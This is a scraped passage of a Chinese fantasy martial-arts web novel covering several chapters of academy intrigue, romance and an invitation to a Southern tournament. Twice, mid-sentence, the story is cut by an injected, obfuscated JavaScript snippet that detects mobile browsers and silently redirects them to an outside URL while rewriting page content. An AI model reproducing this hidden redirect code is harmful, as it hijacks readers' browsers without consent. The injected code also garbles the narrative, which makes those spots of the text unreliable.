“叶一片你还打不过那群人?”北羽感到不解。 叶一片呲着牙道:“军营里水深得很,我平日没钱请他们喝花酒下馆子,又不跟他们一起去寻欢作乐,便被视为异类。他们虽不是我的对手,但军规在前,我若提着剑砍人,大将军就要罚我了,于是,只能落个双拳难敌四手的下场。” “这不纯欺负人吗!”北羽为他打抱不平,“那些家伙都有谁,我半夜套麻袋揍他们!” 玄北离:“加我一个。” “加什么加,挨打是融入军营的必经之路,打来打去,大家就熟了,也就不打了。”南戏霖拿出酒盏,打开一坛红枫酒。 他倒了五杯,朝叶一片意味不明地一笑,“某人挨打,是因为有一个大美人去军营探望他,阵仗不小,惹起了风波。” 北羽刷地扭头看向叶一片,他尴尬咳了两声,削了眼南戏霖。 “谁啊?是谁?”北羽凑过去,一脸八卦地问。 “朋友而已。”叶一片心虚道。 北羽不信这套,除了她以外,叶一片就没有交好过别的女孩。 见其余四人面无异色,她忽然懂了,“好啊,你们都知道,就我不知道!快说,究竟是谁!” 南戏霖捡了粒花生米丢进嘴里,“别叫唤了,你嗓子太尖,听得我头疼。那个姑娘你挺熟的,就是你新交的朋友,昭雪君啊。” “怎么是她。” 北羽安静下来。 南戏霖讥笑一声:“很不可思议吧,喜欢谁不好,偏偏喜欢那个女人。” 砰! 叶一片锤了下石桌,“你能不能别总在我面前说她,烦不烦!” 北羽吓了一跳,拽住旁边的玄北离,玄北离摆摆手,示意她别插嘴。 南戏霖:“嫌烦你回来干嘛!在军营躲清静不好吗?我今天把话撂在这,昭雪君不是什么好人,多长个心眼吧,小心哪天被她甩了,你都不知道!” 叶一片愤然别过脸去,云笙弦夹在两人之间,生疏地和稀泥。 北羽问玄北离:“叶一片和昭雪君是什么时候的事,我竟然不知道。” 玄北离拿起一杯酒,眼眸低垂,“你成天往外跑,不是去各处闲逛,就是跟八皇子呆在一块,当然不知道学宫发生了什么。” 北羽自讨没趣,“你不告诉我就算了,我去问笙弦。” 玄北离蜷缩起手指,抿唇道:“抱歉,我最近身体不太舒服,讲话有点冲。” 他饮完杯中酒,将来龙去脉讲出。 大约一个月前,他们三个吃完晚饭去闲逛,走着走着,到了七斋的荷花池,秋日荷花凋谢,那里人烟稀少,三人刚巧撞上叶一片和昭雪君。 月光之下,二人一个拍手打节拍,一个翩翩起舞,浓情蜜意,一目了然。 后过了半个月,南戏霖突然开始针对叶一片和昭雪君的关系,直言昭雪君爱慕虚荣,绝非良配,大有棒打鸳鸯的架势。 叶一片不乐意了,索性常住在军营那边。 北羽:“南戏霖过火了吧,我瞧昭雪君挺好的一个人,特别上进。” 玄北离:“我也觉得他有点过分,但我们谁都说不过他。” 另一边,云笙弦硬把南戏霖拉进屋子,“别吵了,算算时辰,灵王马上要来了,我正好要送些典籍给三斋,你换身衣服,咱们一同过去。” 玄北离见状起身过去抚慰叶一片,北羽道:“灵王来学宫干什么?” 叶一片:“三斋的秋蒂莲开了,如霜覆火,美艳绝伦,三斋的萧榕写了一首诗,灵王偶然读到心生欢喜,此行专为赏花而来,夫子安排南戏霖陪他。” 秋蒂莲开满山坡,那一定美极了。 北羽伸了个懒腰,喝了三杯红枫酒,去了七斋。 学宫十斋,风景各异,七斋之地,假山崎岖,鸟林自融,尽是典韵风雅之气。 北羽抄小道去了一处僻静之处。 落叶池塘,一抹天蓝色倩影,临水照面,低头静思。 “昭雪君。” 北羽喊了一声,蓝衣佳人蓦然回首,梨涡浅笑,美如远山芙蓉。 北羽不是一个过多关注外表的人,但一见昭雪君,就有种世界因此明亮的感觉,这份美丽像冬日的阳光一样耀眼,令人不容忽视。 昭雪君提剑起身,眼下淡淡乌青,“北羽,上次你指点我过后,我每日卯时起,子时睡,一连练了五天,你看看,我可有长进。” 北羽愣了一下,“倒也不必如此刻苦。” “笨鸟先飞嘛。” 昭雪君拔剑起势,一套剑招行云流水,一气呵成,是下了苦功夫。 昭雪君在学宫之中,广受关注,不仅因为她是一个倾国倾城的美人,更因为她痴迷武学,热衷于向任何比她强大的人请教,连海夫子都夸她勤勉。 只可惜,昭雪君并没有与她美貌和努力相匹配的天赋,一个平庸的人,再怎么刻苦习武,也只能达到平庸的水平。 北羽观察她的一招一式,依然是标准有余,灵气不足。 循规蹈矩的剑客是成不了气候的,剑道也不是单靠苦练就能成的。 “雪君,人各有所长,你何必总执着剑术。”北羽将手帕递过去。 昭雪君擦拭额头薄汗,苦闷道:“我幼时习武也练过刀和其他兵器,最终还不如使剑呢。后来,苦读诗书,参加科举,也没能考中进士。如今,只能指望练剑出头。” ……那真没招了。 北羽暗自摇头,一连指点了昭雪君两个月,她很清楚昭雪君这辈子顶天修个虚空境。 “今日灵王要来学宫赏秋蒂莲,听闻,灵王是一个纵情享乐的人,说不定跟李一白同样好美色,你记得别去三斋那边,小心撞上他。” 无巧不成书,那夜被李一白堵住的少女,正是昭雪君。 “啊?灵王来了?”昭雪君捏紧手帕,“什么时候的事,我今天刚巧约了三斋的许姑娘喝茶呢。” 北羽没有多想,“好像马上就到,要不,你晚上再去三斋找人。” 北羽讲起方才那套剑招该如何更进一步,碰到昭雪君难以领悟的地方,她就亲身示范。 剑身修长,翩舞如银龙,步伐逍遥,停顿自如,再寻常的剑法,由北羽施展,也变得非凡。 昭雪君越看越心灰意冷,她和北羽的差距,可用四字形容,望尘莫及。 “北羽,我真羡慕你的剑术。” “多练练,你也会变强的。” 北羽挽了个剑花,秋叶纷飞,尚未落地就被剑气卷碎。 再强,也不如你强,昭雪君心不在焉起来。 过了一会儿,北羽停下问道:“怎么了?哪里不懂。” 昭雪君慢慢起身,“苏老师布置的功课还有一项我没做完,可明日就要交了。” “什么!苏老师教学严苛,从不徇私,一旦被她逮到功课缺斤少两,会狠罚你的。” 北羽从前就被罚过,至今心有余悸。 “可是……你好不容易抽空来帮我,我就这么走了……” “没事,你快去补吧,内清心诀抄上一百遍简直要人命,我们改日再约。” “……那,我就先走了。” 昭雪君收起剑,匆匆离去。 北羽望着她的背影,总觉得哪里不对劲。 到底是叶一片喜欢的女孩,北羽放心不下,偷偷跟了过去。 昭雪君回七斋换了身衣裳,在屋里徘徊半天,最终出门往三斋那边赶去,身后是鬼鬼祟祟的北羽。 ……………… 秋蒂莲是第五任学宫之主何随风,亲手培育的花种,花期长达一季。 秋日至,红莲绽,初雪落,红莲榭。 生长在潭中,莲瓣如火,蕊心翠绿,实属奇观。 慕容晏漫步廊腰间,见满潭红莲,随风摇曳多姿,情不自禁伫足吟诗,“亭亭照水绽莲芳,静对西风试晚妆。翠似琼枝垂碧露,红胜烈火引清光。秋深何惧幽霜冷,夜寂惟闻雪影香。一任天寒催泪白,痴心难护旧芬芳。” “何夫子在历任学宫之主中并不出众,甚至被人称作凡庸之辈,但抛去这层身份,以花匠眼光看他,俨然一位巨匠,一位花痴啊。” 南戏霖:“王爷所言甚是,学宫诸多花景皆出自何夫子之手,无人不爱。” 慕容晏:“本王今日叨扰学宫,没有耽误南兄什么事吧?” “王爷多虑了。” 除了必须换上鼻涕一样滑溜溜的锦衣华服,南戏霖乐意接受这份当陪客的活。 灵王是北境皇位的有力竞争者,这一趟赏完花,国子监少不得有几个傻大头来找他买消息。 神机阁近来内乱,许多秘闻遭高价抛卖,他忙着收购,手头正紧,甚至冒着被爆头的危险,倒卖星宫的消息。 慕容晏俯身去观莲,南戏霖道:“那边有穿水小道,可供王爷置身莲群赏美。” “不用了,秋蒂莲清光透艳,本王越看越爱,远观尚能自持,若是离近了,免不了折花亵玩,误了它们。” 南戏霖斜睨他一眼,传闻中游手好闲的三皇子,竟有这般怜物之心,可比国子监里那群骄奢淫逸的世家子弟强多了。 远处,一抹蓝影款款走来。 起初,南戏霖以为自己看花了眼,仔细一瞧,才发现是昭雪君。 她怎么到这边来了? 多一事不如少一事,南戏霖赶紧招呼慕容晏动身游园,不料慕容晏已经看见了她。 “南兄,莲花深处,竟凭空多了一位美丽不可方物的蓝衣女子,奇哉啊。” “呃,是啊。看样子,应该是七斋的昭雪君。” “昭雪君?” 慕容晏轻挑眉尾,“素闻学宫有三大美人,北羽、盼灵、昭雪君。” “北羽本王见过好几次,也曾在天枢星宫信徒办的朝圣宴与盼灵有一面之缘,唯有昭雪君,本王一直不知真容。今日遥遥一见,当真是倾国之色,颇有本王母亲当年的风采。” 错了,我们学宫有四大美人,差了个云笙弦,南戏霖暗忖道。 慕容晏摆摆手:“咱们走吧,这边有人了,换个地方看。” 南戏霖惊讶他好定力。 多少人见了昭雪君,都是神魂颠倒,魂不守舍。 若说,盼灵是凡人无法触碰之美,北羽是常人不容直视之美,昭雪君就是可以被掌控的美。 如若,英雄配美人,那么天下英雄无人堪配盼灵,无人敢配北羽,争战后的胜者才配昭雪君。 慕容晏提起这三位绝色女子,神色淡然,面无异样,要么是一个不为美色所动的真君子,要么是个断袖。 南戏霖默默在心中下了定论,引着身旁的君子或者断袖向前去。 不远处躲在树上,坐观全局的北羽,捂着嘴笑个不停。 吟诗的皇子、陪笑的南戏霖,再加上一个换下天蓝色衣服,穿上湖蓝色衣服,专门跑一趟叫人看她的昭雪君,简直是三个角儿一台戏,热闹! 太好玩了,早知道,拉上玄北离了。 北羽继续观望。 灵王走了,昭雪君也不气馁,提裙就追。 那边走廊拐弯处,忽多了两道身影,一红一白,北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491627|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羽定睛一看,竟然是云笙弦和盼灵。 云笙弦抱着一堆典籍书册,扭脸跟盼灵紧贴着说话,连路都不看,盼灵也是全心全意看着他,另一边的南戏霖和慕容晏,也是光顾着聊天。 两波人,谁也没看见谁,眼瞅就要撞个人仰马翻。 北羽好心拽下一片树叶,飞叶过去提醒,不料力道大了些,云笙弦余光瞥到一道绿影猛冲过来,以为是虫子,立即将怀里的册子一扔,护在盼灵身前。 “小心!有虫子!” 那堆又厚又重的书山,哗啦啦倾倒,将慕容晏砸了个正着。 “谁暗算本王!” “嗯?!” 红纱垂地,四目相对,刹那间,慕容晏仿佛听见了花开的声音,云笙弦把他扶起来,“对不住,我看走了眼,撞到了你。” 慕容晏呆住,感觉有什么东西在往下流,“…..没事,我不疼。” “啊?” 云笙弦看着慕容晏淌满血的脸,心想,这人该不会被砸傻了吧。 南戏霖赶紧拿帕子捂住慕容晏的伤口,怎么他一不留神,灵王就负伤了呢! “谁带药了,快点帮忙把血止住,快啊,灵王要晕了!” 他话音未落,慕容晏哐当倒地。 三个人拉上,刚到弄不清状况的昭雪君,四个人手忙脚乱抬走了灵王和满地的典籍书册。 闹剧收尾,徒留北羽风中凌乱。 她是不是闯祸了? ……………… 夕阳余晖已尽,夜色染空。 北羽蹑手蹑脚回到十斋,玄北离正在收拾碗筷,叶一片肿着半张脸切橘子。 “北羽你回来了?!我们以为你出去吃了,没拿你的份。” “哦,没事,我随便吃点就行。南戏霖和我哥去哪了?”她心虚地问。 玄北离道:“灵王赏花的时候,被笙弦不慎伤到了,南戏霖作东请灵王吃饭赔罪,三个人去了云霄酒楼。” “灵王伤的重吗,他生气没有?” 玄北离摇摇头,“灵王半点气也没生,还说不打不相识,要跟笙弦交朋友。” 北羽想了想,“南戏霖怎么有钱吃得起云霄酒楼的菜,要不,我带钱去找他?” 叶一片侧过脸,“人是笙弦打的,肯定他掏钱啊,南戏霖当个中间人罢了。再者,前段日子你当了回散财童子,手头应该没剩多少钱了吧。” 北羽:“也对。” 她不喜挥霍,衣食住行皆在学宫,平日开销甚少,试剑大会后收礼暴富根本没地方花。 最后,那些东西一部分送去圣剑山,一部分留下,余下金银一律捐给了逍遥城的百善堂。 江吟歌大为感动,连写十几封书信给她,以表感谢,还想亲自来天枢城,当面答谢。有了北羽这大笔钱进账,他可以歇两个月,在天枢城住一段时间。 但北羽不想见他,连回三封信拒之,江吟歌只得作罢。 北羽看了眼天色,玄北离趁机道:“我陪你去膳食堂吃点东西如何?” “你歇着吧,叶一片,你陪我去。”北羽拉起叶一片,叶一片抗议,“我都快肿成猪头了,我不要出门见人。” “哪有那么严重,快走!” 叶一片只能跟她出了院子,玄北离望着二人离开的背影,嘴角下垂。 残日与初月,将北羽的影子拉得极长,她踩着自己的影子,假装不经意地问:“叶一片,你很喜欢昭雪君吗?” “怎么忽然提起这档子事,是不是戏霖跟你叨唠什么了,别听他瞎讲,雪君是一个很好的女子。” 北羽:“……她很美,美到我无法拒绝指点她的剑术。” 叶一片:“雪君于剑道悟性糟糕,你受累了。” “反正我最近也光玩了,不差这点时间,只是,戏霖他看人一向准到可怕,我为你担心。”北羽道。 叶一片叹了口气,“我不是三岁小孩,我见惯了人间险恶,分得清一个人是好是坏。” “雪君,她温柔善良,见到路边乞丐会给他们掏钱买馒头和糯米饭,遇见病重的穷苦人,愿意为他们付诊费,连一只鸟儿受了伤,她也要包扎救治。 南戏霖说她攀附权贵,可我编个草蚂蚱送她,她都会找个小匣子保存。 她待人好,对我更好,你们是我最好的朋友,我是个孤儿,更把你们当亲人。关于雪君的事,她若想我知道,就会主动告诉我,她若不想我知道,我何必再从别人嘴里知道。” 北羽哑口无言,尴尬低下头,叶一片把扒好的栗子仁放在她掌心,“离膳食堂还有一段路,先垫垫。” 她吃了一枚,转移话题,“试剑大会之前,我们打了个赌,你说一旦我赢了你,就告诉我一个关于你的秘密。” “所以,那个秘密是什么?” “……” 叶一片沉默半刻才道,“对不起,我当时骗你的……我,并无值得你一听的秘密。” 北羽将手一甩,“你唬我!” 她忽然泄了气,“你走吧,我不去膳食堂了,我要出去玩。” 北羽说走就走,蹬树上屋,侧身翻墙,叶一片想拦她,却不知拦下她该说什么。 刚才气氛太僵了,虽然北羽比南戏霖好说话,但女孩子到底跟男子不同。 他原路返回,路过一片草丛时,听见几声猫叫,寻声找过去,一只杂毛的小猫崽,正窝在蓝衣少女怀里,任由她挠下巴。 “雪君?” “一片?” 二人齐声说道。 “你怎么在这?” “哦,我出来散心。” 二人异口同声说道。 昭雪君忍不住笑了,叶一片也笑了,挨着她坐下,一起摸起猫。 猫崽儿在他们衣袖中翻来覆去,露着柔软的肚皮,一声又一声低咪。 31. 卷二·南境演武 天渐渐凉了,穿行屋檐阁楼之间,竟有冷飕飕的感觉,北羽摸了摸胳膊,叩响角门,莫淮手捧书册开了门。 “读什么呢?” “想习武,在看一本武功秘籍,只是有点看不懂。” 北羽拿过他手中的书。 封皮竖立着魔神策三个大字,名气倒起的霸气。 她翻开一看,难怪莫淮读不懂,一个个字符蚯蚓似的排列在一起,叫人眼花缭乱,压根不是人话。 “这是哪国哪族的语言,好古怪。”北羽把秘籍还给他,“怎么突然想练武了?” 莫淮:“闲着无聊。” 其实是宝珠的意思,宝珠劝他跟着北羽习武,一来能多些话聊,二来亲手将人教导成才的成就感,也会让北羽感到满足。 “北境的习武者,多练剑术,你想学剑吗?”北羽关怀道。 莫淮道:“我还没想好,只是偶然得到这本秘籍,感觉很适合我。” “适合练什么要看天赋。习武到哪个境界,则要看根骨。来,我给你摸摸骨!” 北羽故意跟他闹着玩,去摸他胸口腰身,莫淮整个人像煮熟的螃蟹一样粉红起来,北羽咯咯笑道,“你怎么没有痒痒肉啊。” “痒痒肉是什么?” “就是一碰你就又痒又笑的地方。” “那我浑身都是了。” 他肤色白如冷瓷,一红就遮不住,北羽的手划过哪里,他哪里就跟火烧一样。 “咦,这样摸着,你的根骨很好呢。”北羽手上动作缓慢起来,开始认真给他摸骨。 莫淮心中发紧,毕竟他与寻常人不同。 北羽后退几步,上下打量他,莫淮屏住呼吸,声音微颤,“怎么了?” 北羽绕着他打转,神色茫然,“你的骨头摸起来跟我的好像。” “这怎么可能?!” 北羽可是仙骨,他一个魔,岂能与她相似。 “真的,我骗你做甚。” 北羽背过手。 她和师父乌去云,某些地方的骨头,长得跟旁人不同。而死去的天机老人昔年见过东海剑仙,摸过仙人的骨,就是她和师父这样的。 “莫淮,你也许是一个习武天才呢。”北羽拿起魔神策,笑着问他,“你见到这本秘籍是什么感觉?” “似曾相识,很熟悉。”莫淮实话实说。 “那就对了,我小时候学太上忘情剑法也是这种感觉。可惜,这本秘籍晦涩难懂。”北羽思索良久,灵光乍现,“有一个地方,或许可以解开它的秘密。” 莫淮:“何处?” “瀚海书阁!” 北羽兴致勃勃拉起他的手,“那里除了藏有天下武功秘籍,更有数不胜数的奇书游记,我带你去试一试,如何?” “但是,我听说只有试剑大会百强榜上的少年,才有进瀚海书阁的资格。” 莫淮担心给她带来麻烦。 北羽:“是。不过,你可以用我的资格。” “我练了太上忘情剑法后,不能再修习其他内功心法,剑术亦然,除了苏老师的观梅剑法,跟仙剑术有异曲同工之妙,我能练来消遣,别的门派功法我一概不学的,所以,我并没有在瀚海书阁里挑过秘籍。” “现在我把资格让给你,不犯规的。” 北羽说干就干,带莫淮买了一件银黄绣金的衣袍换上,就去了学宫。 学宫外宫的门卫们见是北羽,没有查腰牌。 但内宫守卫森严,必须看内宫腰牌才放人。 北羽提前让莫淮蒙住眼,莫淮不知缘由,按她的话照做。 等内宫守卫们看完北羽腰牌,将目光投向莫淮时,她不慌不忙道:“玄北离忘带腰牌了,几位大哥硬要检查的话,我得进去十斋帮他找一找。” 守卫首领:“不必劳烦姑娘,玄公子很好辨认,只是他为何蒙着眼。” “他打赌输了,扮木头人呢。” “原来如此,二位请进。” 北羽牵着莫淮往里走,嬉笑道:“莫淮,你穿亮色衣衫,简直和玄北离一模一样,绝对不会露馅儿。” 莫淮静默无言,决定从此之后,只穿暗色衣裳。 瀚海书阁最初是一座参天阁楼,又名星月斋,由星宫派千名工匠建造,以白银为材。日光之下,耀眼如白月,夜色之中,闪亮如银星,是镜悬大陆最美的建筑之一,也是学宫标识。 可惜的是,北境开国皇帝慕容楚逸,当年为向星宫示威,下令摧毁了星月斋。自此之后,瀚海书阁就挪到地下了。 巨大的古铜门前,北羽把令牌给莫淮,“这里一次只能进一个人,一个时辰后我再来找你。” “嗯。” 莫淮将令牌放在凹槽中,机关启动,古铜大门开启,瀚海书阁露出庐山真面目。 比起曾经的辉煌,藏匿于地下的庞大书阁,平添沧桑陈旧,占地百亩,寸土寸书,任何人置身其中,都仿佛变成啃食书页的一小粒虫子,猛扎进无边无垠的书海里。 哪怕同时容纳百强榜上的所有人,巨大的瀚海书阁,也显得人影稀疏。 而现在莫淮根本看不见一个人。 他扎破手指,血滴落在地面,凝成圆球,朝里滚去。 莫淮跟随自己的血,一路向前,最终停在一个书架旁。看着成百上千本书,他闭上眼,举起右手,轻轻拂过这些秘籍。 不一会儿,他停下动作,睁开眼,抽出一本书。 这是一本游记,看起来不新也不旧,写书人自称西海无名散人,莫淮匆匆翻过,前半部分写西海的名胜古迹,后半部分则在解读一类奇怪的字符,形状如蚯蚓,被写者称之为神文。 莫淮不由苦笑。 魔的东西,怎么能用“神文”来称呼。 他盘腿坐下,记起蚯蚓字符对应的文字。 ……………… 云霄酒楼豪立夜幕,张灯结彩,灯火辉煌直欲燃尽半边夜幕,来来往往,贵宾云集。 北羽掐点来到,坐在学宫马车边上,没一会儿就等到了想见的人。 “哥!南戏霖!” 她站起来挥手,原本冷着脸的两个人惊讶上前,“北羽,你怎么来了?” “我刚巧在旁边跟慕容楚轩吃饭,夜深了,二位稍我一程呗。” 云笙弦挽起她胳膊,“好啊,来,哥护送你。” 南戏霖见状一笑,三人进了马车。 北羽:“听说灵王受伤了,你们请他吃饭赔罪后,他消气了吗?” 云笙弦扬起的嘴角下垂,冷笑一声,靠到车窗边。 南戏霖也一副罕见的无语之态。 北羽紧张起来,这事多少跟她沾了关系,“莫非灵王很生气?” 南戏霖看向云笙弦,云笙弦冷面点头,他才道:“灵王一点也不生气,相反,他兴奋过头,朝着笙弦大献殷勤。” 北羽缓慢瞪大眼:“啊?” 云笙弦用手撑着头,“其实,这种人我见多了,只是想不到,灵王堂堂皇子,竟然……这般失礼。” 攒局的南戏霖心情糟糕,鬼知道灵王还好这口。 北羽愧疚道:“那片叶子是我飞过去的,本来我是跟着昭雪君的,谁曾想,正巧撞见你们和灵王,我就想提醒一下,不想,竟弄巧成拙。” 云笙弦眸中闪过诧异,随即道:“这根本不能怪你,就算没有那片叶子,我和灵王也会撞到的。哼,权当你帮我教训了灵王,我讨厌他看我的眼神。” “不聊这事了,你为什么跟着昭雪君呢?” 北羽将前因后果讲出,南戏霖和云笙弦双双沉默。 云笙弦道:“人往高处走,水往低处流,昭雪君身负常人不可有之天姿,心向高远,也属寻常,只盼她不要过于辜负叶一片。” “哎。”南戏霖叹息,“既然叶一片把话说到那个份上,从今以后,我再不插手他的情事了。” 他用胳膊轻顶北羽,“还有你,这几个月来,可谓风流潇洒啊。” “又是跟八皇子约会,又是跟西海无极宫的唐引琼互通书信,还有一个逍遥城的江吟歌对你念念不忘。” 北羽抓起手旁糕点就往他身上砸,“关江吟歌什么事,别跟我扯他!” “啧,你不喜欢江吟歌啊。那其他人呢?”南戏霖故意挤过去。 北羽推搡他,“少闹了,我误伤过唐引琼,对他心怀愧疚,才愿意交他这个朋友。至于慕容楚轩,我同他闹着玩而已。” 起初,她真不喜欢慕容楚轩,只是架不住他接二连三的邀请,草草赴了几次约。 谁知,慕容楚轩仿佛开了窍,很懂得讨人欢心,且十分识趣,半分不提他喜欢她,一味陪她玩。 本来,试剑大会之后,她顺利悟出太上忘情剑法第二式入了羽化境,就要休息一阵子。没理由拒绝,每回都能翻出新花样,弄来新乐子的慕容楚轩。 不过,比起慕容楚轩,她还是更喜欢莫淮。 绞尽脑汁相处出来的情意,怎敌得过浑然天成的。 但她修太上忘情剑法,又有师父白发剑圣因情损道的先例在,所以,对于男女之情十分慎重。 三分心动,还不足以让她去确定什么。 “先就这样吧。”北羽对南戏霖道,“哪天慕容楚轩知难而退了,哪天唐引琼写信写腻了,我跟他们自然而然就散了。” 莫淮也是如此。 她的喜欢暂时就到这里了,接下去就看天意了。 “南戏霖,你喜欢什么样的人呢?” 从小到大,她还没见过南戏霖对哪个女孩有过情意,哪怕到了情窦初开的年纪,南戏霖也依旧独来独往。 “我对谈情说爱不感兴趣。”南戏霖斜倚软枕,掏出一枚铜钱,在案几上旋转,“我就喜欢搞各路情报,不出学宫而知晓天下事。” 到了学宫内宫后,北羽想着瀚海书阁里的莫淮,找借口离开,南戏霖和云笙弦踏着月色往十斋去。 一个弟子跑过来,“南学长,夫子有急事寻你。” “什么事,这么急?” “似乎是因为三封信。” 弟子贴在南戏霖耳边低声道:“都是从南境皇宫发来的。” 南戏霖心中震惊,北境和南境前两年有过战事,天心女帝怎会突然给学宫来信。 事出既反必有妖,别过云笙弦,他连忙往海刀夫子住所赶去。 …… 另一边,北羽和莫淮从瀚海书阁离开。 “找到东西了吗?”她问。 莫淮点头,“找到了一本书,我想,我可以看懂那本秘籍了。” 北羽叮嘱他,“魔神策,听着不像名门正派的功法,恐怕是东海魔教一流的武功,修炼起来,千万当心,遇见不明白的情况,先来问我,切勿强行运功,以致走火入魔。” 莫淮忽然感到一阵心虚。 北羽如此一心一意为他,而他却隐瞒了北羽一个巨大的秘密,聪慧如北羽,难道真的没有丝毫察觉他的来历吗。 小时候的那群“同伴”会不会有朝一日,找到他呢。 月色温柔,浸在月光下的北羽,更加温柔。 莫淮情不自禁道:“北羽,你何必对我这么好,我觉得我就是一个怪物。” 北羽莞尔一笑,“你一不吃人,二不害人,算哪门子的怪物。” “若无你出手相救,我早被天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491628|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机老人害了,于我而言,你是朋友,也是恩人。你过得越好,我越高兴。” 她不是没有查过莫淮。 一个跳进灭魂销骨池都能安然无恙的人,绝对不是个普通人。 打听来,打听去,翻来覆去查阅古籍,她得到了一个很坏的结果——莫淮大约跟东海黑白蛊林或者魔有关。 镜悬大陆某些地方的志异录,记载过愈合力超凡的生灵,一类是东海蛊林养育的蛊物,非人非鬼,一类是三十年前令整个镜悬大陆陷入恐慌的东海群魔。 若是前者,一暴露就会被东海蛊林追查,或圈禁或杀死。 若是后者,那只有一种可能,人人喊打得而诛之。 莫淮前途未卜,北羽难免为他担忧,同时更拿不准将来该怎样对待他。 有时候,她一眼能看出莫淮喜欢她,因为他从来只对她一个人笑。 可有时候,她又不敢确定,因为莫淮从不说我喜欢你,大约他是自知身世敏感,不敢主动迈出那一步。 北羽也就随便了。 她虽有些喜欢莫淮,但还没到必须跟他在一起的地步。 也许,她和他做朋友,会更好些。 二人并肩而行,一路走到内宫入口。 莫淮道:“夜深了,别送我了,你回去早歇息。” “行,明天中午我去找你下馆子。”北羽挥挥手,目送他远去。 她原路折返,忽然,一阵脚步声传来。 “前面是北羽学长吗?” 她扭头一看,一个青衣少女眉眼含笑,“学长,有人给你送信,我顺路替巡卫给你捎来了。” “你是?” “七斋的卢小蝶。” “难怪我看姑娘眼熟,原来是七斋的同窗。”北羽接过那封带着印泥的信封,“多谢你了。” “举手之劳,学长太客气了。那我走了。” “慢走。” 北羽微笑。 卢小蝶一走,她迫不及待拆开手中散发着淡淡栀子花香的信封,几片花瓣随着信纸的抽出掉落。 信上只有四个字,南境皇都。 北羽傻眼,月冷花为什么在南境皇都乾元城?那也离她太远了。 从天枢城去乾元城,少说要花两个月,一来一回,小半年折腾没了,海刀夫子不可能同意她去那么远的地方。 北羽掀开路边一盏夜灯,借火烧掉信,心事重重进了十斋院子,发现她屋里竟然亮了灯。 这么晚了,谁来了? 北羽推开屋门,南戏霖躺在软榻上朝她招手,“快过来,咱俩有麻烦了。” “坐起来,你看你躺得跟我二大爷似的。”北羽拍拍他。 “不好意思,鄙人刚刚因为你接了一门差事,累得很,起不来。” “搞什么?我最近乖得很,没闯半点祸。” “你不闯祸,但祸来找你了。” 南戏霖从怀里掏出一封信递给她。 北羽打开念起来,“北羽,见字如面。三月前耳闻你已入羽化境,我心甚佩,如今我亦入羽化境,特邀君相会,一战高下。南境辰雪……雪!” 她声调猛地拔高,“是那个南境护国圣女辰雪雪吗!” “世上还有第二个辰雪雪吗。”南戏霖掏出第二封信递过去,“这一封信的内容更恐怖。” 北羽心有余悸,念起第二封信,这封信字多一些,但仍然很短。 “北羽少侠,闻听卿名已久,却久不得一见,实属遗憾,不知残仙剑是否锋利如旧。 翌年二月,南境演武,愿一观残仙北羽风采,望卿勿要推辞,宾客至时,朕必以宫宴款待。” 朕。 北羽手一抖,眼珠僵硬转向南戏霖,“这封信该不是天心女帝亲手写给我的吧。” 南戏霖:“对,就是她。还有一封是给夫子的,很正式,态度强硬,有印章的那种。 南境最厉害的两个女人都非常想见你一面。去还是不去?” “夫子让我去吗?” “老爹说随你便,天心女帝邀请的是你,不是他。” 北羽犹豫一下,就答应了。 她正琢磨要怎么编借口去搪塞海刀夫子呢,南境皇宫就来了信,这是老天要她去南境找月冷花啊。 “那好,收拾收拾,咱俩要去南境皇都过年了。” “啊?”北羽一愣。 南戏霖:“啊什么啊,南境演武历年都是初九,乾元城离天枢城老远了,我们必须提前走,否则赶不上。” “想不到,辰雪雪竟然这么快就入了羽化境,由此看来,她的天赋不在你与江吟歌之下。” “干嘛总把我跟江吟歌相提并论,那小子不如我!”北羽戳戳南戏霖,“为什么只有咱俩,玄北离他们不去吗,反正,我们又不跟着其他斋念书。” 内宫十斋齐全后会开两年的课,但北羽等人从小在学宫长大,那些课程早就听过了,可以不用跟其他斋的弟子一起上学。 “叶一片有军营的事忙。至于玄北离和云笙弦,海刀夫子怕他们去了再惹情债。思来想去就我合适,毕竟南境那边只邀请了你,去太多人不好。 我代表学宫陪你同往,足矣。” 南戏霖笑道:“怎么,你嫌弃我不懂武功无用吗。” “哪敢!你可是我们十斋最聪明,不,是学宫最聪明的弟子。有你在,我什么都不用操心,专心和辰雪雪打架就够了。” 北羽笑盈盈揽过他,“说不定到时候,我还有事拜托你呢。” 比如,帮她打探月冷花的消息。 南戏霖打探消息的能力堪比神机阁,有他在,她就不必大海捞针一样找人了。 32. 卷二·南境演武 一石激起千层浪,北羽收到天心女帝邀请去参加南境演武的消息散播后,天枢城的角角落落都在议论此事。 天下第一赌坊甚至提前拉了赌盘,赌北羽与辰雪雪比武,谁胜谁负。 不少人以为辰雪雪敢拉个劲敌,定然是有必胜把握。 要知道她赢了,顶多把北羽镜悬第一天才的名头夺了,反观北羽赢了,南境一国可就丢脸到家了。 也有一部分人觉得辰雪雪是年轻气盛。 南境那边都传,她不去北境参加学宫试剑大会,就是怕输了,砸了她在朝廷的势头。 此类流言在乾元城愈演愈烈,辰雪雪面上挂不住,才把北羽邀请到她的地盘比一场。 学宫也对这场比武议论纷纷,连轩宸帝都特意过问了海刀夫子,北羽同辰雪雪的一场比试,已经关乎到北境、南境两国的颜面了。 